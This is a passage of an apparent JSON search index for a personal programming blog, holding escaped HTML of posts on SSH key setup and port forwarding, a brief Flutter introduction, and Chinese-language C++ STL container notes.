plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -L 8080:localhost username@example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-配置-SSH-密钥\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#2-%E9%85%8D%E7%BD%AE-SSH-%E5%AF%86%E9%92%A5\" class=\"headerlink\" title=\"2. 配置 SSH 密钥\"\u003e\u003c/a\u003e2. 配置 SSH 密钥\u003c/h3\u003e\u003cp\u003e为了提高安全性,您可以配置 SSH 密钥,以便在进行远程登录时无需输入密码。要配置 SSH 密钥,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-keygen [options] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-t\u003c/code\u003e 指定密钥类型,\u003ccode\u003e-C\u003c/code\u003e 指定密钥注释等。\u003cbr/\u003e例如,如果您要生成一个 RSA 密钥对,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-keygen -t rsa -C \u0026#34;your_email@example.com\u0026#34; \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置完 SSH 密钥后,您需要将公钥添加到远程主机的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,以便在进行远程登录时无需输入密码。要将公钥添加到远程主机的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,您可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-copy-id [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要将公钥添加到远程主机 \u003ccode\u003eexample.com\u003c/code\u003e 的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-copy-id username@example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/25/ssh-usage/"},{"title":"flutter-intro","time":"2023-09-16T08:34:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"What-is-Flutter\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#What-is-Flutter\" class=\"headerlink\" title=\"What is Flutter\"\u003e\u003c/a\u003eWhat is Flutter\u003c/h2\u003e\u003cp\u003eOne set of code (\u003ccode\u003elib\u003c/code\u003e), multi platforms.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eandroid, windows, linux, ios, etc.\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003eIt’s for client apps\u003c/li\u003e\u003cli\u003ePlatform regardless\u003c/li\u003e\u003cli\u003eEasy to hand on, easy to develop\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003edart=js/cpp+java: code taste + dart vm\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Basic-code-format\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-code-format\" class=\"headerlink\" title=\"Basic code format\"\u003e\u003c/a\u003eBasic code format\u003c/h2\u003e\u003cp\u003etldr\u003c/p\u003e\u003cul\u003e\u003cli\u003eEmpty safety: \u003ccode\u003etype?\u003c/code\u003e means var is nullable\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eThis will trigger empty check, avoid npe\u003c/p\u003e\u003cul\u003e\u003cli\u003elate init\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eJust like Kotlin\u003c/p\u003e\u003cul\u003e\u003cli\u003eAsync\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Basic-layouts\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-layouts\" class=\"headerlink\" title=\"Basic layouts\"\u003e\u003c/a\u003eBasic layouts\u003c/h2\u003e\u003cul\u003e\u003cli\u003eWidget\u003c/li\u003e\u003cli\u003eText\u003c/li\u003e\u003cli\u003eWarp\u003c/li\u003e\u003cli\u003eRow-Column\u003c/li\u003e\u003cli\u003eContainer\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Basic-scaffolds\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-scaffolds\" class=\"headerlink\" title=\"Basic scaffolds\"\u003e\u003c/a\u003eBasic scaffolds\u003c/h2\u003e\u003cul\u003e\u003cli\u003eAppBar\u003c/li\u003e\u003cli\u003eAction\u003c/li\u003e\u003cli\u003eTItle\u003c/li\u003e\u003cli\u003eTabBar\u003c/li\u003e\u003cli\u003eBody\u003c/li\u003e\u003cli\u003eBottomBar\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Network\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Network\" class=\"headerlink\" title=\"Network\"\u003e\u003c/a\u003eNetwork\u003c/h2\u003e\u003cp\u003eMainly using \u003ccode\u003eDio\u003c/code\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/16/flutter-intro/"},{"title":"C++-STL速通","time":"2023-09-14T14:09:12Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eC++用的比较少,最近准备试试CSP。于是就得赶紧学学STL。以前是用过,但是没咋记下来。\u003c/p\u003e\u003cp\u003e想查看所有std实体的话,使用下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapropos -r \u003cspan class=\"string\"\u003e\u0026#39;^std\u0026#39;\u003c/span\u003e | vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e关于\u003ccode\u003eapropos\u003c/code\u003e,它是LINUX系统中的一个命令,用来通过关键字查找定位手册页的名字和描述。 它相当于使用带有-k选项的man命令。 每个手册页里都有一个简短的描述。 apropos在这个描述中查找keyword。\u003c/p\u003e\u003ch2 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e顺序式:\u003ccode\u003evector, list, deque\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003erbegin\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003erend\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eback\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Vector\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Vector\" class=\"headerlink\" title=\"Vector\"\u003e\u003c/a\u003eVector\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e简而言之就是数组,但是优化过,缝合了诸如队列、栈一类的特性。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; vec; \u003cspan class=\"comment\"\u003e// 声明一个空的vector\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 大小为10, 初始值为1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldVec)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldVec.begin(), dolVec.begin()+\u003cspan class=\"number\"\u003e3\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(arr, arr+\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化vec\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u0026amp;arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化vec, 注意这里是超尾, 与end相对应\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么如果我希望直接在下标为5的位置直接放入这个3呢,那不是需要先往里塞入5个0才可以么?这种情况,我们就可以定义一下vector的长度,然后就可以当做数组一样用了\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003ea\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"List\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#List\" class=\"headerlink\" title=\"List\"\u003e\u003c/a\u003eList\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e双向链表。因此并不支持随机访问。尾部插入元素效率很高。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; l;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 含有5个元素的list, 初始值为0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 含有10个元素的list, 初始值为1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldL)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 复制构造\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldL.begin(), oldL.end())\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(arr, arr+\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u0026amp;arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003emerge\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 合并两个list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eremove\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eremove_if\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 按指定条件删除元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003ereverse\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 逆置list元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 排序\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eunique\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 删除重复元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003esplice\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 从另一个 list 中移动元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Most used functions\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Deque\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Deque\" class=\"headerlink\" title=\"Deque\"\u003e\u003c/a\u003eDeque\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;deque\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e双端队列。每个元素在内存上是连续的,类似vector,是它的升级版。它有高效的首尾插入/删除操作。实现方法相当于list和vector的折衷。\u003c/p\u003e\u003cp\u003e它支持随机访问和\u003ccode\u003eat()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 